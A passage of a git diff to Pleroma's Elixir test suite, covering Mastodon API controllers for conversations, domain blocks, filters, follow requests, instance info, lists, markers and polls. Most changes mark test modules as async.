	res_conn = get(conn, "/api/v1/conversations")

	assert response = json_response_and_validate_schema(res_conn, 200)

	assert [
	%{
	"accounts" => [account]
	}
	] = response

	assert user_one.id == account["id"]
	end

	test "observes limit params", %{
	user: user_one,
	user_two: user_two,
	user_three: user_three,
	conn: conn
	} do
	{:ok, _} = create_direct_message(user_one, [user_two, user_three])
	{:ok, _} = create_direct_message(user_two, [user_one, user_three])
	{:ok, _} = create_direct_message(user_three, [user_two, user_one])

	res_conn = get(conn, "/api/v1/conversations?limit=1")

	assert response = json_response_and_validate_schema(res_conn, 200)

	assert Enum.count(response) == 1

	res_conn = get(conn, "/api/v1/conversations?limit=2")

	assert response = json_response_and_validate_schema(res_conn, 200)

	assert Enum.count(response) == 2
	end
	end

	test "filters conversations by recipients", %{user: user_one, conn: conn} do
	user_two = insert(:user)
	user_three = insert(:user)
	{:ok, direct1} = create_direct_message(user_one, [user_two])
	{:ok, _direct2} = create_direct_message(user_one, [user_three])
	{:ok, direct3} = create_direct_message(user_one, [user_two, user_three])
	{:ok, _direct4} = create_direct_message(user_two, [user_three])
	{:ok, direct5} = create_direct_message(user_two, [user_one])

	assert [conversation1, conversation2] =
	conn
	\|> get("/api/v1/conversations?recipients[]=#{user_two.id}")
	\|> json_response_and_validate_schema(200)

	assert conversation1["last_status"]["id"] == direct5.id
	assert conversation2["last_status"]["id"] == direct1.id

	[conversation1] =
	conn
	\|> get("/api/v1/conversations?recipients[]=#{user_two.id}&recipients[]=#{user_three.id}")
	\|> json_response_and_validate_schema(200)

	assert conversation1["last_status"]["id"] == direct3.id
	end

	test "updates the last_status on reply", %{user: user_one, conn: conn} do
	user_two = insert(:user)
	{:ok, direct} = create_direct_message(user_one, [user_two])

	{:ok, direct_reply} =
	CommonAPI.post(user_two, %{
	status: "reply",
	visibility: "direct",
	in_reply_to_status_id: direct.id
	})

	[%{"last_status" => res_last_status}] =
	conn
	\|> get("/api/v1/conversations")
	\|> json_response_and_validate_schema(200)

	assert res_last_status["id"] == direct_reply.id
	end

	test "the user marks a conversation as read", %{user: user_one, conn: conn} do
	user_two = insert(:user)
	{:ok, direct} = create_direct_message(user_one, [user_two])

	assert Participation.unread_count(user_one) == 0
	assert Participation.unread_count(user_two) == 1

	user_two_conn =
	build_conn()
	\|> assign(:user, user_two)
	\|> assign(
	:token,
	insert(:oauth_token, user: user_two, scopes: ["read:statuses", "write:conversations"])
	)

	[%{"id" => direct_conversation_id, "unread" => true}] =
	user_two_conn
	\|> get("/api/v1/conversations")
	\|> json_response_and_validate_schema(200)

	%{"unread" => false} =
	user_two_conn
	\|> post("/api/v1/conversations/#{direct_conversation_id}/read")
	\|> json_response_and_validate_schema(200)

	assert Participation.unread_count(user_one) == 0
	assert Participation.unread_count(user_two) == 0

	# The conversation is marked as unread on reply
	{:ok, _} =
	CommonAPI.post(user_two, %{
	status: "reply",
	visibility: "direct",
	in_reply_to_status_id: direct.id
	})

	[%{"unread" => true}] =
	conn
	\|> get("/api/v1/conversations")
	\|> json_response_and_validate_schema(200)

	assert Participation.unread_count(user_one) == 1
	assert Participation.unread_count(user_two) == 0

	# A reply doesn't increment the user's unread_conversation_count if the conversation is unread
	{:ok, _} =
	CommonAPI.post(user_two, %{
	status: "reply",
	visibility: "direct",
	in_reply_to_status_id: direct.id
	})

	assert Participation.unread_count(user_one) == 1
	assert Participation.unread_count(user_two) == 0
	end

	test "(vanilla) Mastodon frontend behaviour", %{user: user_one, conn: conn} do
	user_two = insert(:user)
	{:ok, direct} = create_direct_message(user_one, [user_two])

	res_conn = get(conn, "/api/v1/statuses/#{direct.id}/context")

	assert %{"ancestors" => [], "descendants" => []} == json_response(res_conn, 200)
	end

	defp create_direct_message(sender, recips) do
	hellos =
	recips
	\|> Enum.map(fn s -> "@#{s.nickname}" end)
	\|> Enum.join(", ")

	CommonAPI.post(sender, %{
	status: "Hi #{hellos}!",
	visibility: "direct"
	})
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/controllers/domain_block_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/domain_block_controller_test.exs
	index 664654500..b10aa6966 100644
	--- a/test/pleroma/web/mastodon_api/controllers/domain_block_controller_test.exs
	+++ b/test/pleroma/web/mastodon_api/controllers/domain_block_controller_test.exs
	@@ -1,79 +1,80 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.DomainBlockControllerTest do
	+ # TODO: Should not need Cachex
	use Pleroma.Web.ConnCase

	alias Pleroma.User

	import Pleroma.Factory

	test "blocking / unblocking a domain" do
	%{user: user, conn: conn} = oauth_access(["write:blocks"])
	other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"})

	ret_conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})

	assert %{} == json_response_and_validate_schema(ret_conn, 200)
	user = User.get_cached_by_ap_id(user.ap_id)
	assert User.blocks?(user, other_user)

	ret_conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> delete("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})

	assert %{} == json_response_and_validate_schema(ret_conn, 200)
	user = User.get_cached_by_ap_id(user.ap_id)
	refute User.blocks?(user, other_user)
	end

	test "blocking a domain via query params" do
	%{user: user, conn: conn} = oauth_access(["write:blocks"])
	other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"})

	ret_conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/domain_blocks?domain=dogwhistle.zone")

	assert %{} == json_response_and_validate_schema(ret_conn, 200)
	user = User.get_cached_by_ap_id(user.ap_id)
	assert User.blocks?(user, other_user)
	end

	test "unblocking a domain via query params" do
	%{user: user, conn: conn} = oauth_access(["write:blocks"])
	other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"})

	User.block_domain(user, "dogwhistle.zone")
	user = refresh_record(user)
	assert User.blocks?(user, other_user)

	ret_conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> delete("/api/v1/domain_blocks?domain=dogwhistle.zone")

	assert %{} == json_response_and_validate_schema(ret_conn, 200)
	user = User.get_cached_by_ap_id(user.ap_id)
	refute User.blocks?(user, other_user)
	end

	test "getting a list of domain blocks" do
	%{user: user, conn: conn} = oauth_access(["read:blocks"])

	{:ok, user} = User.block_domain(user, "bad.site")
	{:ok, user} = User.block_domain(user, "even.worse.site")

	assert ["even.worse.site", "bad.site"] ==
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/domain_blocks")
	\|> json_response_and_validate_schema(200)
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/controllers/filter_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/filter_controller_test.exs
	index 0d426ec34..e639cdde1 100644
	--- a/test/pleroma/web/mastodon_api/controllers/filter_controller_test.exs
	+++ b/test/pleroma/web/mastodon_api/controllers/filter_controller_test.exs
	@@ -1,152 +1,152 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.FilterControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	alias Pleroma.Web.MastodonAPI.FilterView

	test "creating a filter" do
	%{conn: conn} = oauth_access(["write:filters"])

	filter = %Pleroma.Filter{
	phrase: "knights",
	context: ["home"]
	}

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/filters", %{"phrase" => filter.phrase, context: filter.context})

	assert response = json_response_and_validate_schema(conn, 200)
	assert response["phrase"] == filter.phrase
	assert response["context"] == filter.context
	assert response["irreversible"] == false
	assert response["id"] != nil
	assert response["id"] != ""
	end

	test "fetching a list of filters" do
	%{user: user, conn: conn} = oauth_access(["read:filters"])

	query_one = %Pleroma.Filter{
	user_id: user.id,
	filter_id: 1,
	phrase: "knights",
	context: ["home"]
	}

	query_two = %Pleroma.Filter{
	user_id: user.id,
	filter_id: 2,
	phrase: "who",
	context: ["home"]
	}

	{:ok, filter_one} = Pleroma.Filter.create(query_one)
	{:ok, filter_two} = Pleroma.Filter.create(query_two)

	response =
	conn
	\|> get("/api/v1/filters")
	\|> json_response_and_validate_schema(200)

	assert response ==
	render_json(
	FilterView,
	"index.json",
	filters: [filter_two, filter_one]
	)
	end

	test "get a filter" do
	%{user: user, conn: conn} = oauth_access(["read:filters"])

	# check whole_word false
	query = %Pleroma.Filter{
	user_id: user.id,
	filter_id: 2,
	phrase: "knight",
	context: ["home"],
	whole_word: false
	}

	{:ok, filter} = Pleroma.Filter.create(query)

	conn = get(conn, "/api/v1/filters/#{filter.filter_id}")

	assert response = json_response_and_validate_schema(conn, 200)
	assert response["whole_word"] == false

	# check whole_word true
	%{user: user, conn: conn} = oauth_access(["read:filters"])

	query = %Pleroma.Filter{
	user_id: user.id,
	filter_id: 3,
	phrase: "knight",
	context: ["home"],
	whole_word: true
	}

	{:ok, filter} = Pleroma.Filter.create(query)

	conn = get(conn, "/api/v1/filters/#{filter.filter_id}")

	assert response = json_response_and_validate_schema(conn, 200)
	assert response["whole_word"] == true
	end

	test "update a filter" do
	%{user: user, conn: conn} = oauth_access(["write:filters"])

	query = %Pleroma.Filter{
	user_id: user.id,
	filter_id: 2,
	phrase: "knight",
	context: ["home"],
	hide: true,
	whole_word: true
	}

	{:ok, _filter} = Pleroma.Filter.create(query)

	new = %Pleroma.Filter{
	phrase: "nii",
	context: ["home"]
	}

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> put("/api/v1/filters/#{query.filter_id}", %{
	phrase: new.phrase,
	context: new.context
	})

	assert response = json_response_and_validate_schema(conn, 200)
	assert response["phrase"] == new.phrase
	assert response["context"] == new.context
	assert response["irreversible"] == true
	assert response["whole_word"] == true
	end

	test "delete a filter" do
	%{user: user, conn: conn} = oauth_access(["write:filters"])

	query = %Pleroma.Filter{
	user_id: user.id,
	filter_id: 2,
	phrase: "knight",
	context: ["home"]
	}

	{:ok, filter} = Pleroma.Filter.create(query)

	conn = delete(conn, "/api/v1/filters/#{filter.filter_id}")

	assert json_response_and_validate_schema(conn, 200) == %{}
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/controllers/follow_request_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/follow_request_controller_test.exs
	index b977b41ae..f0a466212 100644
	--- a/test/pleroma/web/mastodon_api/controllers/follow_request_controller_test.exs
	+++ b/test/pleroma/web/mastodon_api/controllers/follow_request_controller_test.exs
	@@ -1,74 +1,74 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.FollowRequestControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	alias Pleroma.User
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	describe "locked accounts" do
	setup do
	user = insert(:user, is_locked: true)
	%{conn: conn} = oauth_access(["follow"], user: user)
	%{user: user, conn: conn}
	end

	test "/api/v1/follow_requests works", %{user: user, conn: conn} do
	other_user = insert(:user)

	{:ok, _, _, _activity} = CommonAPI.follow(other_user, user)
	{:ok, other_user, user} = User.follow(other_user, user, :follow_pending)

	assert User.following?(other_user, user) == false

	conn = get(conn, "/api/v1/follow_requests")

	assert [relationship] = json_response_and_validate_schema(conn, 200)
	assert to_string(other_user.id) == relationship["id"]
	end

	test "/api/v1/follow_requests/:id/authorize works", %{user: user, conn: conn} do
	other_user = insert(:user)

	{:ok, _, _, _activity} = CommonAPI.follow(other_user, user)
	{:ok, other_user, user} = User.follow(other_user, user, :follow_pending)

	user = User.get_cached_by_id(user.id)
	other_user = User.get_cached_by_id(other_user.id)

	assert User.following?(other_user, user) == false

	conn = post(conn, "/api/v1/follow_requests/#{other_user.id}/authorize")

	assert relationship = json_response_and_validate_schema(conn, 200)
	assert to_string(other_user.id) == relationship["id"]

	user = User.get_cached_by_id(user.id)
	other_user = User.get_cached_by_id(other_user.id)

	assert User.following?(other_user, user) == true
	end

	test "/api/v1/follow_requests/:id/reject works", %{user: user, conn: conn} do
	other_user = insert(:user)

	{:ok, _, _, _activity} = CommonAPI.follow(other_user, user)

	user = User.get_cached_by_id(user.id)

	conn = post(conn, "/api/v1/follow_requests/#{other_user.id}/reject")

	assert relationship = json_response_and_validate_schema(conn, 200)
	assert to_string(other_user.id) == relationship["id"]

	user = User.get_cached_by_id(user.id)
	other_user = User.get_cached_by_id(other_user.id)

	assert User.following?(other_user, user) == false
	end
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/controllers/instance_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/instance_controller_test.exs
	index 605df6ed6..71a170240 100644
	--- a/test/pleroma/web/mastodon_api/controllers/instance_controller_test.exs
	+++ b/test/pleroma/web/mastodon_api/controllers/instance_controller_test.exs
	@@ -1,92 +1,93 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.InstanceControllerTest do
	+ # TODO: Should not need Cachex
	use Pleroma.Web.ConnCase

	alias Pleroma.User
	import Pleroma.Factory

	test "get instance information", %{conn: conn} do
	conn = get(conn, "/api/v1/instance")
	assert result = json_response_and_validate_schema(conn, 200)

	email = Pleroma.Config.get([:instance, :email])
	thumbnail = Pleroma.Web.base_url() <> Pleroma.Config.get([:instance, :instance_thumbnail])
	background = Pleroma.Web.base_url() <> Pleroma.Config.get([:instance, :background_image])

	# Note: not checking for "max_toot_chars" since it's optional
	assert %{
	"uri" => _,
	"title" => _,
	"description" => _,
	"version" => _,
	"email" => from_config_email,
	"urls" => %{
	"streaming_api" => _
	},
	"stats" => _,
	"thumbnail" => from_config_thumbnail,
	"languages" => _,
	"registrations" => _,
	"approval_required" => _,
	"poll_limits" => _,
	"upload_limit" => _,
	"avatar_upload_limit" => _,
	"background_upload_limit" => _,
	"banner_upload_limit" => _,
	"background_image" => from_config_background,
	"chat_limit" => _,
	"description_limit" => _
	} = result

	assert result["pleroma"]["metadata"]["account_activation_required"] != nil
	assert result["pleroma"]["metadata"]["features"]
	assert result["pleroma"]["metadata"]["federation"]
	assert result["pleroma"]["metadata"]["fields_limits"]
	assert result["pleroma"]["vapid_public_key"]

	assert email == from_config_email
	assert thumbnail == from_config_thumbnail
	assert background == from_config_background
	end

	test "get instance stats", %{conn: conn} do
	user = insert(:user, %{local: true})

	user2 = insert(:user, %{local: true})
	{:ok, _user2} = User.deactivate(user2, !user2.deactivated)

	insert(:user, %{local: false, nickname: "u@peer1.com"})
	insert(:user, %{local: false, nickname: "u@peer2.com"})

	{:ok, _} = Pleroma.Web.CommonAPI.post(user, %{status: "cofe"})

	Pleroma.Stats.force_update()

	conn = get(conn, "/api/v1/instance")

	assert result = json_response_and_validate_schema(conn, 200)

	stats = result["stats"]

	assert stats
	assert stats["user_count"] == 1
	assert stats["status_count"] == 1
	assert stats["domain_count"] == 2
	end

	test "get peers", %{conn: conn} do
	insert(:user, %{local: false, nickname: "u@peer1.com"})
	insert(:user, %{local: false, nickname: "u@peer2.com"})

	Pleroma.Stats.force_update()

	conn = get(conn, "/api/v1/instance/peers")

	assert result = json_response_and_validate_schema(conn, 200)

	assert ["peer1.com", "peer2.com"] == Enum.sort(result)
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/controllers/list_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/list_controller_test.exs
	index 091ec006c..01f64cfcc 100644
	--- a/test/pleroma/web/mastodon_api/controllers/list_controller_test.exs
	+++ b/test/pleroma/web/mastodon_api/controllers/list_controller_test.exs
	@@ -1,176 +1,176 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.ListControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	alias Pleroma.Repo

	import Pleroma.Factory

	test "creating a list" do
	%{conn: conn} = oauth_access(["write:lists"])

	assert %{"title" => "cuties"} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/lists", %{"title" => "cuties"})
	\|> json_response_and_validate_schema(:ok)
	end

	test "renders error for invalid params" do
	%{conn: conn} = oauth_access(["write:lists"])

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/lists", %{"title" => nil})

	assert %{"error" => "title - null value where string expected."} =
	json_response_and_validate_schema(conn, 400)
	end

	test "listing a user's lists" do
	%{conn: conn} = oauth_access(["read:lists", "write:lists"])

	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/lists", %{"title" => "cuties"})
	\|> json_response_and_validate_schema(:ok)

	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/lists", %{"title" => "cofe"})
	\|> json_response_and_validate_schema(:ok)

	conn = get(conn, "/api/v1/lists")

	assert [
	%{"id" => _, "title" => "cofe"},
	%{"id" => _, "title" => "cuties"}
	] = json_response_and_validate_schema(conn, :ok)
	end

	test "adding users to a list" do
	%{user: user, conn: conn} = oauth_access(["write:lists"])
	other_user = insert(:user)
	{:ok, list} = Pleroma.List.create("name", user)

	assert %{} ==
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})
	\|> json_response_and_validate_schema(:ok)

	%Pleroma.List{following: following} = Pleroma.List.get(list.id, user)
	assert following == [other_user.follower_address]
	end

	test "removing users from a list, body params" do
	%{user: user, conn: conn} = oauth_access(["write:lists"])
	other_user = insert(:user)
	third_user = insert(:user)
	{:ok, list} = Pleroma.List.create("name", user)
	{:ok, list} = Pleroma.List.follow(list, other_user)
	{:ok, list} = Pleroma.List.follow(list, third_user)

	assert %{} ==
	conn
	\|> put_req_header("content-type", "application/json")
	\|> delete("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})
	\|> json_response_and_validate_schema(:ok)

	%Pleroma.List{following: following} = Pleroma.List.get(list.id, user)
	assert following == [third_user.follower_address]
	end

	test "removing users from a list, query params" do
	%{user: user, conn: conn} = oauth_access(["write:lists"])
	other_user = insert(:user)
	third_user = insert(:user)
	{:ok, list} = Pleroma.List.create("name", user)
	{:ok, list} = Pleroma.List.follow(list, other_user)
	{:ok, list} = Pleroma.List.follow(list, third_user)

	assert %{} ==
	conn
	\|> put_req_header("content-type", "application/json")
	\|> delete("/api/v1/lists/#{list.id}/accounts?account_ids[]=#{other_user.id}")
	\|> json_response_and_validate_schema(:ok)

	%Pleroma.List{following: following} = Pleroma.List.get(list.id, user)
	assert following == [third_user.follower_address]
	end

	test "listing users in a list" do
	%{user: user, conn: conn} = oauth_access(["read:lists"])
	other_user = insert(:user)
	{:ok, list} = Pleroma.List.create("name", user)
	{:ok, list} = Pleroma.List.follow(list, other_user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})

	assert [%{"id" => id}] = json_response_and_validate_schema(conn, 200)
	assert id == to_string(other_user.id)
	end

	test "retrieving a list" do
	%{user: user, conn: conn} = oauth_access(["read:lists"])
	{:ok, list} = Pleroma.List.create("name", user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/lists/#{list.id}")

	assert %{"id" => id} = json_response_and_validate_schema(conn, 200)
	assert id == to_string(list.id)
	end

	test "renders 404 if list is not found" do
	%{conn: conn} = oauth_access(["read:lists"])

	conn = get(conn, "/api/v1/lists/666")

	assert %{"error" => "List not found"} = json_response_and_validate_schema(conn, :not_found)
	end

	test "renaming a list" do
	%{user: user, conn: conn} = oauth_access(["write:lists"])
	{:ok, list} = Pleroma.List.create("name", user)

	assert %{"title" => "newname"} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> put("/api/v1/lists/#{list.id}", %{"title" => "newname"})
	\|> json_response_and_validate_schema(:ok)
	end

	test "validates title when renaming a list" do
	%{user: user, conn: conn} = oauth_access(["write:lists"])
	{:ok, list} = Pleroma.List.create("name", user)

	conn =
	conn
	\|> assign(:user, user)
	\|> put_req_header("content-type", "application/json")
	\|> put("/api/v1/lists/#{list.id}", %{"title" => " "})

	assert %{"error" => "can't be blank"} ==
	json_response_and_validate_schema(conn, :unprocessable_entity)
	end

	test "deleting a list" do
	%{user: user, conn: conn} = oauth_access(["write:lists"])
	{:ok, list} = Pleroma.List.create("name", user)

	conn = delete(conn, "/api/v1/lists/#{list.id}")

	assert %{} = json_response_and_validate_schema(conn, 200)
	assert is_nil(Repo.get(Pleroma.List, list.id))
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/controllers/marker_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/marker_controller_test.exs
	index 9f0481120..ee944a67c 100644
	--- a/test/pleroma/web/mastodon_api/controllers/marker_controller_test.exs
	+++ b/test/pleroma/web/mastodon_api/controllers/marker_controller_test.exs
	@@ -1,131 +1,131 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.MarkerControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	import Pleroma.Factory

	describe "GET /api/v1/markers" do
	test "gets markers with correct scopes", %{conn: conn} do
	user = insert(:user)
	token = insert(:oauth_token, user: user, scopes: ["read:statuses"])
	insert_list(7, :notification, user: user, activity: insert(:note_activity))

	{:ok, %{"notifications" => marker}} =
	Pleroma.Marker.upsert(
	user,
	%{"notifications" => %{"last_read_id" => "69420"}}
	)

	response =
	conn
	\|> assign(:user, user)
	\|> assign(:token, token)
	\|> get("/api/v1/markers?timeline[]=notifications")
	\|> json_response_and_validate_schema(200)

	assert response == %{
	"notifications" => %{
	"last_read_id" => "69420",
	"updated_at" => NaiveDateTime.to_iso8601(marker.updated_at),
	"version" => 0,
	"pleroma" => %{"unread_count" => 7}
	}
	}
	end

	test "gets markers with missed scopes", %{conn: conn} do
	user = insert(:user)
	token = insert(:oauth_token, user: user, scopes: [])

	Pleroma.Marker.upsert(user, %{"notifications" => %{"last_read_id" => "69420"}})

	response =
	conn
	\|> assign(:user, user)
	\|> assign(:token, token)
	\|> get("/api/v1/markers", %{timeline: ["notifications"]})
	\|> json_response_and_validate_schema(403)

	assert response == %{"error" => "Insufficient permissions: read:statuses."}
	end
	end

	describe "POST /api/v1/markers" do
	test "creates a marker with correct scopes", %{conn: conn} do
	user = insert(:user)
	token = insert(:oauth_token, user: user, scopes: ["write:statuses"])

	response =
	conn
	\|> assign(:user, user)
	\|> assign(:token, token)
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/markers", %{
	home: %{last_read_id: "777"},
	notifications: %{"last_read_id" => "69420"}
	})
	\|> json_response_and_validate_schema(200)

	assert %{
	"notifications" => %{
	"last_read_id" => "69420",
	"updated_at" => _,
	"version" => 0,
	"pleroma" => %{"unread_count" => 0}
	}
	} = response
	end

	test "updates exist marker", %{conn: conn} do
	user = insert(:user)
	token = insert(:oauth_token, user: user, scopes: ["write:statuses"])

	{:ok, %{"notifications" => marker}} =
	Pleroma.Marker.upsert(
	user,
	%{"notifications" => %{"last_read_id" => "69477"}}
	)

	response =
	conn
	\|> assign(:user, user)
	\|> assign(:token, token)
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/markers", %{
	home: %{last_read_id: "777"},
	notifications: %{"last_read_id" => "69888"}
	})
	\|> json_response_and_validate_schema(200)

	assert response == %{
	"notifications" => %{
	"last_read_id" => "69888",
	"updated_at" => NaiveDateTime.to_iso8601(marker.updated_at),
	"version" => 0,
	"pleroma" => %{"unread_count" => 0}
	}
	}
	end

	test "creates a marker with missed scopes", %{conn: conn} do
	user = insert(:user)
	token = insert(:oauth_token, user: user, scopes: [])

	response =
	conn
	\|> assign(:user, user)
	\|> assign(:token, token)
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/markers", %{
	home: %{last_read_id: "777"},
	notifications: %{"last_read_id" => "69420"}
	})
	\|> json_response_and_validate_schema(403)

	assert response == %{"error" => "Insufficient permissions: write:statuses."}
	end
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/controllers/poll_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/poll_controller_test.exs
	index f41de6448..95e27623d 100644
	--- a/test/pleroma/web/mastodon_api/controllers/poll_controller_test.exs
	+++ b/test/pleroma/web/mastodon_api/controllers/poll_controller_test.exs
	@@ -1,171 +1,171 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.PollControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	alias Pleroma.Object
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	describe "GET /api/v1/polls/:id" do
	setup do: oauth_access(["read:statuses"])

	test "returns poll entity for object id", %{user: user, conn: conn} do
	{:ok, activity} =
	CommonAPI.post(user, %{
	status: "Pleroma does",
	poll: %{options: ["what Mastodon't", "n't what Mastodoes"], expires_in: 20}
	})

	object = Object.normalize(activity)

	conn = get(conn, "/api/v1/polls/#{object.id}")

	response = json_response_and_validate_schema(conn, 200)
	id = to_string(object.id)
	assert %{"id" => ^id, "expired" => false, "multiple" => false} = response
	end

	test "does not expose polls for private statuses", %{conn: conn} do
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(other_user, %{
	status: "Pleroma does",
	poll: %{options: ["what Mastodon't", "n't what Mastodoes"], expires_in: 20},
	visibility: "private"
	})

	object = Object.normalize(activity)

	conn = get(conn, "/api/v1/polls/#{object.id}")

	assert json_response_and_validate_schema(conn, 404)
	end
	end

	describe "POST /api/v1/polls/:id/votes" do
	setup do: oauth_access(["write:statuses"])

	test "votes are added to the poll", %{conn: conn} do
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(other_user, %{
	status: "A very delicious sandwich",
	poll: %{
	options: ["Lettuce", "Grilled Bacon", "Tomato"],
	expires_in: 20,
	multiple: true
	}
	})

	object = Object.normalize(activity)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0, 1, 2]})

	assert json_response_and_validate_schema(conn, 200)
	object = Object.get_by_id(object.id)

	assert Enum.all?(object.data["anyOf"], fn %{"replies" => %{"totalItems" => total_items}} ->
	total_items == 1
	end)
	end

	test "author can't vote", %{user: user, conn: conn} do
	{:ok, activity} =
	CommonAPI.post(user, %{
	status: "Am I cute?",
	poll: %{options: ["Yes", "No"], expires_in: 20}
	})

	object = Object.normalize(activity)

	assert conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [1]})
	\|> json_response_and_validate_schema(422) == %{"error" => "Poll's author can't vote"}

	object = Object.get_by_id(object.id)

	refute Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 1
	end

	test "does not allow multiple choices on a single-choice question", %{conn: conn} do
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(other_user, %{
	status: "The glass is",
	poll: %{options: ["half empty", "half full"], expires_in: 20}
	})

	object = Object.normalize(activity)

	assert conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0, 1]})
	\|> json_response_and_validate_schema(422) == %{"error" => "Too many choices"}

	object = Object.get_by_id(object.id)

	refute Enum.any?(object.data["oneOf"], fn %{"replies" => %{"totalItems" => total_items}} ->
	total_items == 1
	end)
	end

	test "does not allow choice index to be greater than options count", %{conn: conn} do
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(other_user, %{
	status: "Am I cute?",
	poll: %{options: ["Yes", "No"], expires_in: 20}
	})

	object = Object.normalize(activity)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [2]})

	assert json_response_and_validate_schema(conn, 422) == %{"error" => "Invalid indices"}
	end

	test "returns 404 error when object is not exist", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/polls/1/votes", %{"choices" => [0]})

	assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"}
	end

	test "returns 404 when poll is private and not available for user", %{conn: conn} do
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(other_user, %{
	status: "Am I cute?",
	poll: %{options: ["Yes", "No"], expires_in: 20},
	visibility: "private"
	})

	object = Object.normalize(activity)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0]})

	assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"}
	end
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/controllers/report_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/report_controller_test.exs
	index 6636cff96..322eb475c 100644
	--- a/test/pleroma/web/mastodon_api/controllers/report_controller_test.exs
	+++ b/test/pleroma/web/mastodon_api/controllers/report_controller_test.exs
	@@ -1,95 +1,95 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

